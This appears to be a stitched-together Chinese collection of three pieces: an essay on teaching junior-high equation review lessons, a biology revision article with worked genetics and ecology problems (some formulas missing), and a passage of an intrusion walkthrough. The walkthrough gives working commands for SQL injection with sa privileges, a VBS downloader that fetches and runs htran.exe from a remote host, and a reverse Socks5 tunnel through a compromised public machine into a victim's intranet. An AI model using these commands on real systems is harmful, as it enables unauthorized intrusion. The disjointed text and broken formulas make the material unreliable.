A.2B.3C.4D.5

(教师B通过这5道小题分别复习了一元一次方程(解)、二元一次方程(解)的概念,以及一元一次方程的解法,学生回答比较顺利.)

环节二:例1.找出下列解方程中的错误:

(在思考之后,学生口答错误点,随后进行巩固练习,教师B在学生板演后讲解、点评,并针对第②题出现的错误要求学生讨论后写出正确的解法.)

(教师B引导学生回忆了解二元一次方程组的基本方法,由学生叙述,教师B板演例2的过程,接着学生练习,并自主展示解法:1.化简方程组后用代入、加减消元法;2.将xy看作一个整体,运用“整体”思想代入求解.)

(学生尝试解方程,从学生的解法中选择两种展示:消去未知数z转化为二元一次方程组求解;方程(1)、(3)相加得到x+y=5,运用“整体”思想代入(2)中求解.)

2. 两点思考

2.1 初三复习课的视角

《课程标准》(2011年版)指出,“教学活动是师生积极参与、交往互动、共同发展的过程”,“学生是学习的主体,教师是学习的组织者、引导者与合作者”.因此,中考复习课应该重在观察学生的反应,看学生学得如何,真正把学生摆在主体地位,给学生以充分的思考空间,让学生参与数学问题解决的全过程,尊重学生的主体地位,建立平等、和谐的课堂氛围.对于初三学生来说,第一轮的复习主要任务是回顾基本概念、巩固基本技能,在活动过程中,丰富解题经验,提升思维水平.

2.2 两节课的比较分析

教师A在整堂课的教学的过程中,始终以自己为中心,滔滔不绝地讲解思路、分析方法,(很多问题呈现一两分钟后便开始讲解起来)看似勤勤恳恳,却忽略了学生的“过程体验”,学生究竟学得怎样,教师A并不清楚;教师B却很好地把握了整堂课的节奏,低起点、高立意,给学生充分的思考时间和空间,自始至终关注学生“学得怎样”,从学生的课堂练习中寻求多种解法,并比较优劣.这一做法不仅让学生认识到方程解法的多样性,更让学生感悟到运用数学整体思想简化运算的妙用,收获了解决问题的成就感.

3. 教学启示

3.1 初三复习课要精心设计,不断创新

目前,很多教师在复习课时,采用的是教师讲,学生练的“题海战术”,久而久之,学生就会产生厌学情绪.《课标》(2011年版)指出:“学生学习应当是一个生动活泼的、主动的和富有个性的过程.认真听讲、积极思考、动手实践、自主探索、合作交流等,都是学习数学的重要方式.”因此,教师要按课标要求精心设计复习课的教学流程,积极创新课程资源引导学生积极思考.教师B做得比较到位:从内容上来看,例2、例3蕴含的“整体思想”设计令人耳目一新;从形式上来看,例1采用“纠错”的方式找方程的错误;学生板演错误时采用先自主讨论后订正、评析;例2、例3练习完成后,请学生在投影上展示、对比、评析解法等都是“以学生为中心”的积极的创新尝试.

3.2 初三复习课要慢化,“慢”中求实

7.巧用方法 精心复习 篇七

一、巧用“一题多变”, 巩固学生的基础知识

例如对人教版高中生物必修2中“神经纤维上的兴奋传导”这一知识点, 可以采用变式训练的方式加以巩固和强化。

【例1】下图表示一段离体神经纤维的S点受到刺激而兴奋时, 局部电流和神经兴奋的传导方向 (弯箭头表示膜内、外局部电流的流动方向, 直箭头表示兴奋传导方向) , 其中正确的是 ( ) 。

解析:本题可直接根据知识点判断:神经纤维在静息状态膜内外电位情况是外正内负, 受到刺激后变为外负内正。从刺激点开始兴奋沿神经纤维双向传导。故答案为C。

[变式]如图甲所示, 以枪乌贼的粗大神经纤维作材料, 在神经纤维的表面, 放置两个相距1～2厘米的电极a和b。

(1) 在图中刺激点给予较强电刺激, 则电流表指针偏转情况为 ( ) 。

解析:本题考察的知识点仍然是兴奋在神经纤维上的传导过程, 但考查形式有所改变, 结合物理学知识对知识点进行了整合与变化。分析得知刺激点兴奋后a点膜外先变为负电位, 此时b点仍为正电位, 电流表指针向左发生偏转, 之后兴奋传至b点, b点变为负电位, a点此时已恢复正电位, 电流表指针向右发生偏转。故偏转情况为1、2、3、4或4、2、3、1。

(2) 依据观察到的电流表指针偏转 (向左为正, 向右为负) 情况, 绘出的曲线如图乙, 正确的是 ( ) 。

解析:本小题进一步结合数学模型设置问题, 巧用曲线图将神经纤维受刺激前后电位变化情况进行了描述, 在对第 (1) 小题正确分析的基础上, 得出正确答案为D。

二、巧用“一题多变”, 提高学生思维的灵活性

人教版高中生物必修2“现代生物进化理论的主要内容”一节中涉及基因频率的相关问题, 是复习时需要把握的重点。针对基因频率的计算问题可以采用“一题多变”的方式加以复习和巩固, 以提高学生思维的灵活性。

【例2】某种群中AA、Aa、aa个体数目分别为30、60、10。求A和a的基因频率。

解析:根据基因频率的定义, 可以推出如下公式 (N表示不同基因或基因型个体的数目) :

A的基因频率=NA/ (NA+Na) = (2NAA+NAa) /2 (NAA+NAa+Naa)

a的基因频率=Na/ (NA+Na) = (2Naa+NAa) /2 (NAA+NAa+Naa)

结合公式计算出A、a的基因频率分别为60%和40%。

[变式1]某种群中AA、Aa、aa个体所占比例分别为30%、60%、10%。求A和a的基因频率。

解析:本题中并未给出不同基因型个体的数目, 而是给出不同基因型个体的比例 (即基因型频率) 。将上述公式进行变化可得如下用基因型频率计算基因频率的公式:

A的基因频率=AA的基因型频率+50%×Aa的基因型频率

a的基因频率=aa的基因型频率+50%×Aa的基因型频率

将题目中的条件直接代入公式, 计算得出A、a的基因频率分别为60%和40%。

[变式2]某种群中aa的个体所占比例为0.01%, 则杂合子出现的机会是多少?

解析:本题利用上述公式无法得出题目所求。此时需要用到遗传平衡定律中的计算公式:

在理想种群中种群基因频率保持不变, 若A%=p, a%=q (p+q=1) , 则

AA的基因型频率=p2, Aa的基因型频率=2pq, aa的基因型频率=q2。

本题中已知aa的基因型频率=0.01%, 则a的基因频率=1%, A的基因频率=99%, 则根据遗传平衡定律的计算公式, 杂合子Aa出现的机会 (即Aa的基因型频率) =2×99%×1%=1.98%。

[变式3]某工厂有男女职工各200名, 对他们进行调查时发现, 女性色盲基因的携带者为15人, 患者为5人, 男性患者为11人, 那么这个群体中色盲基因的频率为多少?

解析:因为伴性遗传的基因型存在特殊性 (男性Y染色体上不含有相应基因) , 因此不能直接套用上述公式。伴性遗传应根据基因频率的定义来计算基因频率, 可得出下列计算公式 (设正常及色盲的控制基因为B和b) :

B的基因频率

b的基因频率

将题目中的已知条件代入公式计算得出色盲基因 (b) 的频率=6%。

三、巧用“一题多变”, 提高学生的应变能力

人教版高中生物必修3中与能量流动有关的计算问题也可采用变式训练的方法加以突破, 同时培养学生的应变能力。

【例3】有如下食物链:植物→植食性动物→肉食性动物→人。若植物的总同化量为1000kg, 则人最多、最少从该食物链增重多少千克?

解析:根据能量流动的传递效率为10%～20%, 总结出如下公式:

人最少增重=1000kg× (10%) 3=1kg。

[变式1]如上题食物链, 人增重1kg, 最多、最少消耗绿色植物多少千克?

解析:根据上述公式, 计算得出:

最多消耗绿色植物=1kg×103=1000kg,

最少消耗绿色植物=1kg×53=125kg。

[变式2]如下图食物网, 人要增重1kg, 最多、最少消耗绿色植物多少千克?

解析:本题不清楚人的各种食物所占比例, 故只能利用极值法进行计算。因为能量在沿着食物链流动的过程中会逐级递减, 故食物链越长能量损耗越多。则求最多消耗多少绿色植物, 应该选取最长的食物链 (植物→植食性动物→肉食性动物→人) , 并要按照传递效率10%来计算;求最少消耗多少绿色植物, 应该选取最短的食物链 (植物→人) , 并要按照传递效率20%来计算。过程如下:

最多消耗绿色植物=1kg×103=1000kg,

最少消耗绿色植物=1kg×5=5kg。

[变式3]如上图食物网, 若人的食物中有1/4来自植食性动物, 1/4来自肉食性动物, 1/2来自于绿色植物。则人增重1kg最少、最多消耗绿色植物多少千克?

解析:本题知道具体的食物比例, 应利用分解法把人增加的重量分解到三条食物链中分别计算, 求最多消耗量用10%计算, 求最少消耗量用20%计算。过程如下:

从食物链1 (植物→人) 增重0.5kg,

从食物链2 (植物→植食性动物→人) 增重0.25kg,

从食物链3 (植物→植食性动物→肉食性动物→人) 增重0.25kg,

则最多消耗绿色植物=0.5kg×101+0.25kg×102+0.25kg×103=280kg,

最少消耗绿色植物=0.5kg×51+0.25kg×52+0.25kg×53=40kg。

8.渗透内网方法之巧用代理 篇八

一、踩点

主机: www.baidu.com/

OS:Windows + IIS 5.0 + MSSQL

端口:80 21

数据库放内网，IP为 192.168.1.2 ,更重要的是内网数据库可以上网.

首页存在注入漏洞，sa登陆.

注入点:

www.baidu.com/list.asp?id=1

二、入侵思路

1.给内网目标机装个代理服务器

2.把弄好的那个代理端口映到公网.

3.本机用sockscap连接公网映的那个端口，这样，自己也就进到了内网，

4.接下来就是找共享，嗅探，社会工程学等等了。

三、入侵准备

1.公网肉鸡一只:218.3.1.1

2.工具:htran2.4,SocksCap,扫描器一份，NBSI 2.0一份。

3.A表示数据库主机,B表示公网肉鸡 C表示网站放Web的地方 D表示本机(也在内网)

4.A:192.168.1.2 B:218.3.1.1 C:www.baidu.com D:192.168.0.25

四、入侵进行时

1.工具上传:

在nbsi下执行:

echo Set x= CreateObject(^“Microsoft.XMLHTTP^”):x.Open ^“GET^”,LCase(WScript.Arguments(0)),0:x.Send:Set s = CreateObject(^“ADODB.Stream^”):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >down.vbs

然后下载工具:

cscript. down.vbs IP/htran.exe htran.exe 这个可以在网上找下

2.安装Socks5服务

在nbsi下执行:

htran.exe -install //安装Socks5服务

htran.exe -start //启动Socks5服务

3.反弹进行时

在B上运行: htran.exe -s -listen 520 5200 //监听端口

在nbsi下执行:htran.exe -s -connect 218.3.1.1 520

3.进入内网

现在用SocksCap连接 218.3.1.1 的5200端口，就等于进入了他的内网，

五、渗透内网